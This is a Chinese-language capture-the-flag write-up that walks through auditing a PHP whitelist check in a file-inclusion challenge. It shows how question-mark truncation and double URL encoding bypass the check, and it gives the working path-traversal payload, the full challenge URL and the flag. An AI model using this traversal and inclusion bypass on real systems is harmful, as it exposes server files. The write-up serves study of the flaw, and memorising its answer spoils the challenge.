1、打开链接,只有这个笑脸,首先想到的肯定是查看源码
2、按下F12
或者是Ct+U
查看源码,如下显示,可以看到有source.php注释
3、通过在原URL后添加/source.php
,可查看到如下内容,进行代码审计,分析源码。
<?php
highlight_file(__FILE__);
class emmm
{
//传入变量,也就是file,赋值给page
public static function checkFile(&$page)
{
//第一部分
//定义了白名单,包括scource.php和hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//如果page不存在或者不是字符串则返回false
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//第二部分
//如果page在白名单中,返回true
if (in_array($page, $whitelist)) {
return true;
}
//第三部分
/*mb_substr为截断函数,第一个参数为传进来的字符串,第二个为起始位置,第三个参数为长度
mb_strpos为查找某值第一次出现的位置
这里表示截取page从0开始到第一个问号之间的字符串,赋值给_page*/
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//如果_page在白名单中,则返回true
if (in_array($_page, $whitelist)) {
return true;
}
//第四部分
//否则继续将page进行url解码,这里注意url传入服务器会自动进行一次urldecode
//?的url编码为%3F,双重url编码为%253F
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//第五部分
//条件为file不为空、是字符串、checkFile返回true,否则一直显示滑稽
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
4、分析
-
第五部分是主体,条件是file这个参数不为空、是一个字符串并且checkFile函数判断为真,那么会执行include这条语句,否则继续显示笑脸。
可以判断出这是一道文件包含的题目,include函数可以根据文件路径,将文件解析出来并显示到页面。目标:找到该文件名与路径
-
接着看函数部分,先定义了白名单,只有source.php和hint.php,source.php是当前的网址。
-
尝试下将URL后缀改为
hint.php
查看,显示以下内容
可以猜测,ffffllllaaaagggg为文件名。 -
关于返回true
(1)满足第二部分if语句:file=source.php
(2)满足第三部分if语句:file=source.php?xxxxxxxxx
(3)满足第四部分if语句:file=source.php%253Fxxxxxxx
(如果到第四部分,_page经历了:一次问号截断,一次url解码,一次问号截断)
注:source.php可换成hint.php。
所以大致可以知道source.php后要接?,还有ffffllllaaaagggg。ffffllllaaaagggg为文件名,中间联系则为路径。
…/代表返回上级目录。可以尝试 file=source.php?../ffffllllaaaagggg与多个…/找下去。
最终发现file=source.php?./…/…/…/…/ffffllllaaaagggg
我的完整URL为:
http://c277cc53-0b35-41ea-bcef-87f067c09505.node4.buuoj.cn:81/source.php?file=source.php?./../../../../ffffllllaaaagggg
flag为flag{d7fe657f-a7b6-401c-a315-a6e0965e2fc5}